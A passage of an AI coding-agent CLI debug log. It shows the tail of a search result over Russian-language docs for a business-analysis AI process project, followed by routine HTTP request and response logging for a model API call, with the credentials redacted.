\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c\\n176:| \u0413-19 | \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0431\u0438\u0437\u043d\u0435\u0441-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c | `release.json` \u2014 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430, 2053 \u0431\u0430\u0439\u0442\u0430; \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u0435 \u2014 `Terms`, `Business context`\u2026 (\u043f\u0440\u043e\u0431\u0430 `P6`; \u043f\u0440\u043e\u0444\u0438\u043b\u044c [`bcreq-client-v1.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/contracts/bcreq-client-v1.json#L8-L36)). \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f [\u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0442\u044c Cline \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0444\u0430\u0439\u043b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/06-working-with-cline.md#L242-L243) \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c**: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440 Release \u0432 Markdown (\u0438\u043b\u0438 DOCX) \u0441 \u0440\u0443\u0441\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0438\u0437 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043a\u0430\u043a \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0448\u0430\u0433. \u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 2 \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 |\\n208:| \u0427\u0442\u0435\u043d\u0438\u0435 Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | \u041c\u043e\u0434\u0435\u043b\u044c (\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437) | \u041d\u0435\u0442 | \u041d\u0438\u0447\u0435\u0433\u043e ([\u0413-19](#\u0433-19)) |\\n232:   \u043a\u0440\u043e\u043c\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u2014 \u043b\u0438\u0431\u043e JSON, \u043b\u0438\u0431\u043e \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u043c\u043e\u0434\u0435\u043b\u0438: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u043e\u0448\u0438\u0431\u043a\u0438,\\n254:   \u043d\u0435 \u0433\u0435\u0439\u0442, \u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u044f. \u0417\u0430\u0434\u0430\u0447\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n== CLI transitions\\n40:\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n135:| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n218:| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n== ADR-017\\n74:\u041f\u0440\u0438\u043d\u044f\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 `Source \u2192 Distribution \u2192 Runtime \u2192 Feedback \u2192 Source` \u0434\u043b\u044f\\n103:\u2502   \u2514\u2500\u2500 feedback/                  # inbox \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0438\u043c\u043f\u043e\u0440\u0442\u0435\\n110:\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u043c feedback. `experiments/` \u0445\u0440\u0430\u043d\u0438\u0442 \u043d\u0435\u0437\u0440\u0435\u043b\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438; \u0438\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\\n170:\u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438\u043b\u0438 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0435 feedback-\\n195:\u2514\u2500\u2500 feedback/\\n== forensics classes\\n20:\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n21:\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n128:| BCREQ-1104 | \u041f\u043e\u0441\u043b\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043f\u0440\u0430\u0432\u043e\u043a \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0431\u0435\u0437 \u043b\u0438\u0448\u043d\u0435\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. | Human correction \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f regression example, \u0430 \u043d\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. |\\n== golden 7\\n19:\u0415\u0434\u0438\u043d\u0430\u044f \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 \u0441\u0435\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043a API, \u041b\u0438\u0447\u043d\u043e\u043c\u0443\\n20:\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0443 \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0443. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043a\u0435\u043b\u0435\u0442, \u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 4\\n52:| `BCREQ-729.pdf`, 10 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043f\u043e\u043b\u044f \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0424\u0422; \u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439. |\\n56:| `BCREQ-1069.pdf`, 27 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043a\u0435\u0439\u0441 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043a\u043b\u044e\u0447\u0435\u0439, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433, \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0438 24 use cases; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0424\u0422\u2194UC \u043a\u0430\u043a \u043c\u043d\u043e\u0433\u0438\u0435-\u043a\u043e-\u043c\u043d\u043e\u0433\u0438\u043c. |\\n74:3. **\u00ab\u0414\u043b\u044f API, \u041b\u041a \u0438 \u041a\u0426 \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430\u00bb.** \u041d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e.\\n75:   \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b; API \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442,\\n115:- \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0439, \u043a\u043d\u043e\u043f\u043e\u043a, \u0432\u043a\u043b\u0430\u0434\u043e\u043a, \u043c\u0435\u0442\u043e\u0434\u043e\u0432 API, HTTP-\u043a\u043e\u0434\u043e\u0432 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 payload;\\n126:## Golden Form 1 \u2014 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430 API\",\n[2026-09-29T07:55:15.403Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:55:15.403Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:55:15.403Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:55:15.403Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:55:15.403Z] [INFO]   }\n[2026-09-29T07:55:15.403Z] [INFO] }\n[2026-09-29T07:55:15.479Z] [STDOUT] [log_a033f0] sending request {\n[2026-09-29T07:55:15.529Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:55:15.545Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:15.556Z] [STDOUT]   options: {\n[2026-09-29T07:55:15.586Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:55:15.594Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:55:15.611Z] [STDOUT]     body: {\n[2026-09-29T07:55:15.629Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:55:15.642Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:55:15.655Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:55:15.659Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:55:15.663Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:55:15.672Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:55:15.682Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:55:15.685Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:55:15.691Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:55:15.694Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:55:15.696Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:55:15.697Z] [STDOUT]       stream: true,\n[2026-09-29T07:55:15.700Z] [STDOUT]     },\n[2026-09-29T07:55:15.702Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:55:15.704Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:55:15.706Z] [STDOUT]       aborted: false,\n[2026-09-29T07:55:15.708Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:55:15.710Z] [STDOUT]       onabort: null,\n[2026-09-29T07:55:15.712Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:55:15.714Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:55:15.716Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:55:15.718Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:55:15.720Z] [STDOUT]     },\n[2026-09-29T07:55:15.721Z] [STDOUT]     stream: true,\n[2026-09-29T07:55:15.723Z] [STDOUT]   },\n[2026-09-29T07:55:15.725Z] [STDOUT]   headers: {\n[2026-09-29T07:55:15.727Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:55:15.729Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:55:15.737Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:55:15.743Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:55:15.749Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:55:15.752Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:55:15.757Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:55:15.761Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:55:15.764Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:55:15.766Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1833;Bash=1875\",\n[2026-09-29T07:55:15.768Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:55:15.769Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:55:15.772Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:15.776Z] [STDOUT]     \"x-client-request-id\": \"072584c6-51af-4ac8-8c37-40c9e2cd037a\",\n[2026-09-29T07:55:15.778Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:55:15.780Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:55:15.782Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:55:15.784Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:55:15.787Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:55:15.789Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:55:15.791Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:55:15.793Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:55:15.794Z] [STDOUT]   },\n[2026-09-29T07:55:15.796Z] [STDOUT] }\n[2026-09-29T07:55:16.217Z] [STDOUT] [log_a033f0, request-id: \"req_011CfXNWJRzJcsUvKMcHS1WV\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 740ms\n[2026-09-29T07:55:16.220Z] [STDOUT] [log_a033f0] response start {\n[2026-09-29T07:55:16.224Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:16.229Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:16.233Z] [STDOUT]   headers: {\n[2026-09-29T07:55:16.237Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:16.243Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:16.248Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:16.254Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:16.260Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:16.264Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:16.273Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:16.279Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:16.288Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:16.304Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:16.307Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:16.310Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:16.314Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:16.317Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:16.322Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:16.332Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:16.344Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:16.351Z] [STDOUT]     \"cf-ray\": \"a4296cadca0f5d90-FRA\",\n[2026-09-29T07:55:16.378Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:55:16.383Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:16.387Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:16.391Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:16.397Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:55:16 GMT\",\n[2026-09-29T07:55:16.403Z] [STDOUT]     \"request-id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\",\n[2026-09-29T07:55:16.410Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:55:16.416Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:16.440Z] [STDOUT]     traceresponse: \"00-3e27c5283e223cfef23dbe48713fb349-b19c2cb100e84e87-01\",\n[2026-09-29T07:55:16.446Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:16.469Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:55:16.475Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:16.478Z] [STDOUT]   },\n[2026-09-29T07:55:16.483Z] [STDOUT]   durationMs: 740,\n[2026-09-29T07:55:16.489Z] [STDOUT] }\n[2026-09-29T07:55:16.492Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:55:16.494Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:55:16 GMT\",\n[2026-09-29T07:55:16.497Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:16.500Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:16.512Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:55:16.518Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:16.524Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:16.528Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:16.531Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:55:16.534Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:16.537Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:16.547Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:16.558Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:16.564Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:16.577Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:16.583Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:16.588Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:16.593Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:16.597Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:16.600Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:16.614Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:16.619Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:16.626Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:16.630Z] [STDOUT]   \"request-id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\",\n[2026-09-29T07:55:16.636Z] [STDOUT]   \"traceresponse\": \"00-3e27c5283e223cfef23dbe48713fb349-b19c2cb100e84e87-01\",\n[2026-09-29T07:55:16.641Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:16.649Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:16.655Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:55:16.661Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:16.667Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:16.672Z] [STDOUT]   \"cf-ray\": \"a4296cadca0f5d90-FRA\",\n[2026-09-29T07:55:16.676Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:55:16.679Z] [STDOUT] [log_a033f0] response parsed {\n[2026-09-29T07:55:16.681Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:16.684Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:16.687Z] [STDOUT]   body: X 